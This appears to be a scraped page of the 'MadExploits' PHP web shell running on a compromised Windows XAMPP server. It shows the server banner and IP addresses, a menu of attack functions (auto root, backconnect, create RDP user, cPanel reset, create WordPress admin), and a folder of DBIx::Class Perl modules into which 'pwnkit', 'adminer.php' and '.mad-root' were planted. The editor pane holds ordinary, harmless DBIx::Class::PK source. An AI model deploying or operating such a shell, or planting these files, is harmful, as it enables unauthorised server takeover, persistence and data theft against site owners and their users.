Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
perl /
vendor /
lib /
DBIx /
Class /
[ HOME SHELL ]
Name
Size
Permission
Action
Admin
[ DIR ]
drwxrwxrwx
CDBICompat
[ DIR ]
drwxrwxrwx
ClassResolver
[ DIR ]
drwxrwxrwx
InflateColumn
[ DIR ]
drwxrwxrwx
Manual
[ DIR ]
drwxrwxrwx
Optional
[ DIR ]
drwxrwxrwx
PK
[ DIR ]
drwxrwxrwx
Relationship
[ DIR ]
drwxrwxrwx
ResultClass
[ DIR ]
drwxrwxrwx
ResultSet
[ DIR ]
drwxrwxrwx
ResultSource
[ DIR ]
drwxrwxrwx
ResultSourceProxy
[ DIR ]
drwxrwxrwx
SQLAHacks
[ DIR ]
drwxrwxrwx
SQLMaker
[ DIR ]
drwxrwxrwx
Schema
[ DIR ]
drwxrwxrwx
Serialize
[ DIR ]
drwxrwxrwx
Storage
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
AccessorGroup.pm
1.33
KB
-rw-rw-rw-
Admin.pm
11.78
KB
-rw-rw-rw-
CDBICompat.pm
4.49
KB
-rw-rw-rw-
Carp.pm
4.98
KB
-rw-rw-rw-
Componentised.pm
2.2
KB
-rw-rw-rw-
Core.pm
1.34
KB
-rw-rw-rw-
Cursor.pm
1.94
KB
-rw-rw-rw-
DB.pm
5.9
KB
-rw-rw-rw-
Exception.pm
2.3
KB
-rw-rw-rw-
FilterColumn.pm
7.77
KB
-rw-rw-rw-
FilterColumn.pod
4.17
KB
-rw-rw-rw-
InflateColumn.pm
7.02
KB
-rw-rw-rw-
InflateColumn.pod
5.55
KB
-rw-rw-rw-
Manual.pod
1.74
KB
-rw-rw-rw-
Ordered.pm
26.18
KB
-rw-rw-rw-
PK.pm
3.3
KB
-rw-rw-rw-
PK.pod
2.96
KB
-rw-rw-rw-
Relationship.pm
21.54
KB
-rw-rw-rw-
ResultSet.pm
140.76
KB
-rw-rw-rw-
ResultSetColumn.pm
10.62
KB
-rw-rw-rw-
ResultSetManager.pm
3.25
KB
-rw-rw-rw-
ResultSetProxy.pm
997
B
-rw-rw-rw-
ResultSource.pm
66.33
KB
-rw-rw-rw-
ResultSourceHandle.pm
3.74
KB
-rw-rw-rw-
ResultSourceProxy.pm
1.88
KB
-rw-rw-rw-
Row.pm
44.7
KB
-rw-rw-rw-
SQLAHacks.pm
120
B
-rw-rw-rw-
SQLMaker.pm
6.35
KB
-rw-rw-rw-
Schema.pm
42.39
KB
-rw-rw-rw-
StartupCheck.pm
1.48
KB
-rw-rw-rw-
Storage.pm
15.52
KB
-rw-rw-rw-
UTF8Columns.pm
5.18
KB
-rw-rw-rw-
_Util.pm
10.77
KB
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PK.pm
package DBIx::Class::PK; use strict; use warnings; use base qw/DBIx::Class::Row/; =head1 NAME DBIx::Class::PK - Primary Key class =head1 SYNOPSIS =head1 DESCRIPTION This class contains methods for handling primary keys and methods depending on them. =head1 METHODS =cut =head2 id Returns the primary key(s) for a row. Can't be called as a class method. =cut sub id { my ($self) = @_; $self->throw_exception( "Can't call id() as a class method" ) unless ref $self; my @id_vals = $self->_ident_values; return (wantarray ? @id_vals : $id_vals[0]); } sub _ident_values { my ($self, $use_storage_state) = @_; my (@ids, @missing); for ($self->result_source->_pri_cols_or_die) { push @ids, ($use_storage_state and exists $self->{_column_data_in_storage}{$_}) ? $self->{_column_data_in_storage}{$_} : $self->get_column($_) ; push @missing, $_ if (! defined $ids[-1] and ! $self->has_column_loaded ($_) ); } if (@missing && $self->in_storage) { $self->throw_exception ( 'Unable to uniquely identify result object with missing PK columns: ' . join (', ', @missing ) ); } return @ids; } =head2 ID Returns a unique id string identifying a result object by primary key. Used by L<DBIx::Class::CDBICompat::LiveObjectIndex> and L<DBIx::Class::ObjectCache>. =over =item WARNING The default C<_create_ID> method used by this function orders the returned values by the alphabetical order of the primary column names, B<unlike> the L</id> method, which follows the same order in which columns were fed to L<DBIx::Class::ResultSource/set_primary_key>. =back =cut sub ID { my ($self) = @_; $self->throw_exception( "Can't call ID() as a class method" ) unless ref $self; return undef unless $self->in_storage; return $self->_create_ID(%{$self->ident_condition}); } sub _create_ID { my ($self, %vals) = @_; return undef if grep { !defined } values %vals; return join '|', ref $self || $self, $self->result_source->name, map { $_ . '=' . $vals{$_} } sort keys %vals; } =head2 ident_condition my $cond = $result_source->ident_condition(); my $cond = $result_source->ident_condition('alias'); Produces a condition hash to locate a row based on the primary key(s). =cut sub ident_condition { shift->_mk_ident_cond(@_); } sub _storage_ident_condition { shift->_mk_ident_cond(shift, 1); } sub _mk_ident_cond { my ($self, $alias, $use_storage_state) = @_; my @pks = $self->result_source->_pri_cols_or_die; my @vals = $self->_ident_values($use_storage_state); my (%cond, @undef); my $prefix = defined $alias ? $alias.'.' : ''; for my $col (@pks) { if (! defined ($cond{$prefix.$col} = shift @vals) ) { push @undef, $col; } } if (@undef && $self->in_storage) { $self->throw_exception ( 'Unable to construct result object identity condition due to NULL PK columns: ' . join (', ', @undef) ); } return \%cond; } =head1 FURTHER QUESTIONS? Check the list of L<additional DBIC resources|DBIx::Class/GETTING HELP/SUPPORT>. =head1 COPYRIGHT AND LICENSE This module is free software L<copyright|DBIx::Class/COPYRIGHT AND LICENSE> by the L<DBIx::Class (DBIC) authors|DBIx::Class/AUTHORS>. You can redistribute it and/or modify it under the same terms as the L<DBIx::Class library|DBIx::Class/COPYRIGHT AND LICENSE>. =cut 1;
Close